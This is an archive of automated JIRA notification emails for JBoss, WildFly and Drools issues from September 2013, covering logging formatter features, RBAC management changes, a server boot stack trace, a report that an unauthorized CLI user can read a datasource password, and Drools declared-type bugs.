References: <JIRA.12490045.1366637143000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12490045.1366637143000.9932.1378334104037@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/LOGMGR-67?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801740#comment-12801740 ] 

RH Bugzilla Integration commented on LOGMGR-67:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 994744|https://bugzilla.redhat.com/show_bug.cgi?id=994744] from POST to MODIFIED
                
> Improve LogManager formatter capability: System resources, thread ID and minified category
> ------------------------------------------------------------------------------------------
>
>                 Key: LOGMGR-67
>                 URL: https://issues.jboss.org/browse/LOGMGR-67
>             Project: JBoss Log Manager
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>          Components: core
>    Affects Versions: 1.3.2.Final
>         Environment: JBoss EAP 6.0.1
>            Reporter: Jeremy KUHN
>            Assignee: James Perkins
>              Labels: jboss
>             Fix For: 1.5.0.Final, 2.0.0.Beta1
>
>   Original Estimate: 4 hours
>  Remaining Estimate: 4 hours
>
> Hello,
> We are currently developing a major JEE application running on multiple JBoss EAP 6.0.1 instances in a service oriented architecture.
> The current implementation of JBoss-logmanager (1.3.2.Final) shipped with JBoss EAP doesn't provide the functionality we require in term of logging formatting.
> We are missing:
> - Thread ID (Thread names are too long and of different length that disturb the reading of logs)
> - we haven't find a way to get the hostname displayed in the logs, a simple solution would be to be able to include System properties and therefore the jboss.host.name property in the pattern. System properties would also be interesting to identified the log coming from a specific application (we'll have one application deployed per JBoss instance). Ideally, we'd like to have the ability to provide a context name to know which application has logged the event but this seems to have been delivered with logging profiles.
> - logback has this interesting feature that lets you minify the log category: instead of org.jboss.logmanager.config.ConfigAction you'll get o.j.l.c.ConfigAction which is more readable in the logs.
> Regards

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 22:16:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 22:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2000) No enum
 AccessAuthorizationResourceDefinition.Provider.UNDEFINED
In-Reply-To: <JIRA.12499964.1378309224000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499964.1378309224000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499964.1378309224000.10025.1378347364695@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2000?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2000:
-----------------------------------

            Workflow: GIT Pull Request workflow   (was: jira)
              Parent: WFLY-490
          Issue Type: Sub-task  (was: Clarification)
    Git Pull Request: https://github.com/wildfly/wildfly/pull/5006

    
> No enum AccessAuthorizationResourceDefinition.Provider.UNDEFINED
> ----------------------------------------------------------------
>
>                 Key: WFLY-2000
>                 URL: https://issues.jboss.org/browse/WFLY-2000
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> Anattemp to start a server within a domain (hosts>1) yields:
> {noformat}
> [Server:stage2] ERROR [org.jboss.as.controller.management-operation] JBAS014603:  caught exception attempting to revert operation write-attribute at address [
> [Server:stage2]     ("core-service" => "management"),
> [Server:stage2]     ("access" => "authorization")
> [Server:stage2] ]: java.lang.IllegalArgumentException: No enum constant org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition.Provider.UNDEFINED
> [Server:stage2] 	at java.lang.Enum.valueOf(Enum.java:236) [rt.jar:1.7.0_17]
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition$Provider.valueOf(AccessAuthorizationResourceDefinition.java:68)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.updateAuthorizer(AccessAuthorizationProviderWriteAttributeHander.java:98)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:93)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:48)
> [Server:stage2] 	at org.jboss.as.controller.AbstractWriteAttributeHandler$1$1.handleRollback(AbstractWriteAttributeHandler.java:111) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$RollbackDelegatingResultHandler.handleResult(AbstractOperationContext.java:1019) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.handleRollback(AbstractOperationContext.java:988) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeInternal(AbstractOperationContext.java:946) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeStep(AbstractOperationContext.java:921) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.access$300(AbstractOperationContext.java:873) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.finishStep(AbstractOperationContext.java:721) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:677) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356)
> [Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:331)
> [Server:stage2] 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:250) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Server:stage2] 
> [Server:stage2] FATAL [org.jboss.as.server] JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> [Server:stage2] ERROR [stderr] java.io.IOException: JBAS012175: Channel closed
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.protocol.ProtocolConnectionManager.connect(ProtocolConnectionManager.java:67)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerConnection.reConnect(HostControllerConnection.java:165)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerClient.reconnect(HostControllerClient.java:97)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.DomainServerMain.main(DomainServerMain.java:138)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> [Server:stage2] ERROR [stderr] 	at java.lang.reflect.Method.invoke(Method.java:601)
> [Server:stage2] ERROR [stderr] 	at org.jboss.modules.Module.run(Module.java:292)
> [Server:stage2] ERROR [stderr] 	at org.jboss.modules.Main.main(Main.java:455)
> [Server:stage2] INFO  [org.jboss.as] JBAS015950: WildFly 8.0.0.Beta1-SNAPSHOT "WildFly" stopped in 10ms
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010926: Unregistering server stage2
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 22:18:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 22:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1936) Ensure RBAC metadata changes
 result in management API bump
In-Reply-To: <JIRA.12499267.1377260189000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499267.1377260189000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499267.1377260189000.10034.1378347483618@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1936?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry resolved WFLY-1936.
------------------------------------

    Resolution: Done

    
> Ensure RBAC metadata changes result in management API bump
> ----------------------------------------------------------
>
>                 Key: WFLY-1936
>                 URL: https://issues.jboss.org/browse/WFLY-1936
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> The RBAC metadata counts as a management API change and needs a version bump. 
> Validate that all subsystems that have had RBAC metadata added:
> 1) Have already had a management API bump to the next major (because they had some other change)
> 2) OR get a minor management API bump to match what we will do in EAP 6.2.
> 3) For those in category 1), there will be a minor bump on the previous major version in EAP 6.2. The transformation added in WF 8 needs to cover that version as well. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 22:20:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 22:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1943) Add Run-As Capability to
 ConfigurableRoleMapper
In-Reply-To: <JIRA.12499299.1377275142000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499299.1377275142000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499299.1377275142000.10037.1378347603484@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1943?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1943:
-----------------------------------

    Git Pull Request: https://github.com/wildfly/wildfly/pull/5006  (was: https://github.com/wildfly/wildfly/pull/4982)

    
> Add Run-As Capability to ConfigurableRoleMapper
> -----------------------------------------------
>
>                 Key: WFLY-1943
>                 URL: https://issues.jboss.org/browse/WFLY-1943
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> For any user currently granted the 'SuperUser' role the existing header to request a lesser role should be honoured.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 22:20:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 22:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1942) Forward port core management
 xsd schema 1.5 from EAP
In-Reply-To: <JIRA.12499295.1377273832000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499295.1377273832000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499295.1377273832000.10039.1378347603566@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1942?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1942:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Forward port core management xsd schema 1.5 from EAP
> ----------------------------------------------------
>
>                 Key: WFLY-1942
>                 URL: https://issues.jboss.org/browse/WFLY-1942
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> The RBAC backport to EAP has produced a 1.5 version of the core xml schema. Forward part it and related parsers to WF 8.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 22:22:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 22:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1985) read-attribute operation is
 leaking value when user is not authorized to read that attribute
In-Reply-To: <JIRA.12499794.1378194012000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499794.1378194012000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499794.1378194012000.10044.1378347723598@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1985?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1985:
-----------------------------------

    Assignee: Ladislav Thon  (was: Brian Stansberry)

    
> read-attribute operation is leaking value when user is not authorized to read that attribute
> --------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1985
>                 URL: https://issues.jboss.org/browse/WFLY-1985
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Ladislav Thon
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> This is affecting native interface and consequently CLI - HTTP and JMX have the correct behavior as they aren't simply forwarding the result of native interface. 
> {code}
> [standalone at localhost:9990 /] :whoami(verbose=true)
> {
>     "outcome" => "success",
>     "result" => {"identity" => {
>         "username" => "monitor",
>         "realm" => "ManagementRealm"
>     }}
> }
> [standalone at localhost:9990 /] /subsystem=datasources/data-source=ExampleDS:read-attribute(name=password)
> {
>     "outcome" => "failed",
>     "result" => "sa",
>     "failure-description" => "JBAS013456: Unauthorized to execute operation 'read-attribute' for resource '[
>     (\"subsystem\" => \"datasources\"),
>     (\"data-source\" => \"ExampleDS\")
> ]' -- \"Permission denied\"",
>     "rolled-back" => true
> }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 22:22:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 22:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1985) read-attribute operation is
 leaking value when user is not authorized to read that attribute
In-Reply-To: <JIRA.12499794.1378194012000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499794.1378194012000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499794.1378194012000.10049.1378347723796@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1985?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1985:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> read-attribute operation is leaking value when user is not authorized to read that attribute
> --------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1985
>                 URL: https://issues.jboss.org/browse/WFLY-1985
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Ladislav Thon
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> This is affecting native interface and consequently CLI - HTTP and JMX have the correct behavior as they aren't simply forwarding the result of native interface. 
> {code}
> [standalone at localhost:9990 /] :whoami(verbose=true)
> {
>     "outcome" => "success",
>     "result" => {"identity" => {
>         "username" => "monitor",
>         "realm" => "ManagementRealm"
>     }}
> }
> [standalone at localhost:9990 /] /subsystem=datasources/data-source=ExampleDS:read-attribute(name=password)
> {
>     "outcome" => "failed",
>     "result" => "sa",
>     "failure-description" => "JBAS013456: Unauthorized to execute operation 'read-attribute' for resource '[
>     (\"subsystem\" => \"datasources\"),
>     (\"data-source\" => \"ExampleDS\")
> ]' -- \"Permission denied\"",
>     "rolled-back" => true
> }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 22:22:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 22:22:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2000) No enum
 AccessAuthorizationResourceDefinition.Provider.UNDEFINED
In-Reply-To: <JIRA.12499964.1378309224000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499964.1378309224000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499964.1378309224000.10054.1378347724027@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2000?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2000:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> No enum AccessAuthorizationResourceDefinition.Provider.UNDEFINED
> ----------------------------------------------------------------
>
>                 Key: WFLY-2000
>                 URL: https://issues.jboss.org/browse/WFLY-2000
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> Anattemp to start a server within a domain (hosts>1) yields:
> {noformat}
> [Server:stage2] ERROR [org.jboss.as.controller.management-operation] JBAS014603:  caught exception attempting to revert operation write-attribute at address [
> [Server:stage2]     ("core-service" => "management"),
> [Server:stage2]     ("access" => "authorization")
> [Server:stage2] ]: java.lang.IllegalArgumentException: No enum constant org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition.Provider.UNDEFINED
> [Server:stage2] 	at java.lang.Enum.valueOf(Enum.java:236) [rt.jar:1.7.0_17]
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition$Provider.valueOf(AccessAuthorizationResourceDefinition.java:68)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.updateAuthorizer(AccessAuthorizationProviderWriteAttributeHander.java:98)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:93)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:48)
> [Server:stage2] 	at org.jboss.as.controller.AbstractWriteAttributeHandler$1$1.handleRollback(AbstractWriteAttributeHandler.java:111) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$RollbackDelegatingResultHandler.handleResult(AbstractOperationContext.java:1019) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.handleRollback(AbstractOperationContext.java:988) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeInternal(AbstractOperationContext.java:946) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeStep(AbstractOperationContext.java:921) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.access$300(AbstractOperationContext.java:873) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.finishStep(AbstractOperationContext.java:721) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:677) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356)
> [Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:331)
> [Server:stage2] 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:250) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Server:stage2] 
> [Server:stage2] FATAL [org.jboss.as.server] JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> [Server:stage2] ERROR [stderr] java.io.IOException: JBAS012175: Channel closed
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.protocol.ProtocolConnectionManager.connect(ProtocolConnectionManager.java:67)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerConnection.reConnect(HostControllerConnection.java:165)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerClient.reconnect(HostControllerClient.java:97)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.DomainServerMain.main(DomainServerMain.java:138)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> [Server:stage2] ERROR [stderr] 	at java.lang.reflect.Method.invoke(Method.java:601)
> [Server:stage2] ERROR [stderr] 	at org.jboss.modules.Module.run(Module.java:292)
> [Server:stage2] ERROR [stderr] 	at org.jboss.modules.Main.main(Main.java:455)
> [Server:stage2] INFO  [org.jboss.as] JBAS015950: WildFly 8.0.0.Beta1-SNAPSHOT "WildFly" stopped in 10ms
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010926: Unregistering server stage2
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 22:29:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 22:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2002) Ability to configure a custom
 RBAC implementatin
In-Reply-To: <JIRA.12500003.1378348034234@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500003.1378348034234@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500003.1378348034234.10056.1378348143337@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2002:
--------------------------------------

             Summary: Ability to configure a custom RBAC implementatin
                 Key: WFLY-2002
                 URL: https://issues.jboss.org/browse/WFLY-2002
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
            Priority: Optional
             Fix For: 8.0.0.CR1


Allow configuration of a module name and set of key/value properties to allow users to plug in a custom implementation of the CustomAuthorizer interface. The impl would be loadable via the ServiceLoader mechanism.

The hooks to integrate such a custom impl into the server are already done, so this is should be just a matter of adding the config capability. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 02:50:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 5 Sep 2013 02:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-248) Declared Traits do not
 inherit fields if multiple inheritance is used
In-Reply-To: <JIRA.12500012.1378363690608@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500012.1378363690608@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500012.1378363690608.10219.1378363803329@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-248:
-------------------------------------

             Summary: Declared Traits do not inherit fields if multiple inheritance is used
                 Key: DROOLS-248
                 URL: https://issues.jboss.org/browse/DROOLS-248
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 6.0.0.CR2, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Blocker
             Fix For: 5.5.1.Final, 6.0.0.Final


declare trait A 
 f : String
end

declare trait B
 g : String
end

declare trait C extends A, B
 h : String
end

C will only inherit fields from A

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 02:55:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 5 Sep 2013 02:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-249) Handle conflicts when using
 @position in declared types
In-Reply-To: <JIRA.12500013.1378364090409@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500013.1378364090409@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500013.1378364090409.10221.1378364103862@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-249:
-------------------------------------

             Summary: Handle conflicts when using @position in declared types
                 Key: DROOLS-249
                 URL: https://issues.jboss.org/browse/DROOLS-249
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 6.0.0.CR2, 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Minor
             Fix For: 5.5.1.Final,  6.0.0.CR3


declare A
 f : int @position(2)
 g : int @position(1)
end

declare B extends A
 h : int @position(3)
 i : int @position(2)
end

The resulting field order may not be deterministic because of
 - the clashes (2)
 - the missing pos (0)

this is dangerous when used with positional constraints

B( $x, $y, $z, $w ; )

Marked as minor because of the obvious workaround

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 02:57:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Thu, 5 Sep 2013 02:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-250) Potential NPE in
	MVELConstraint
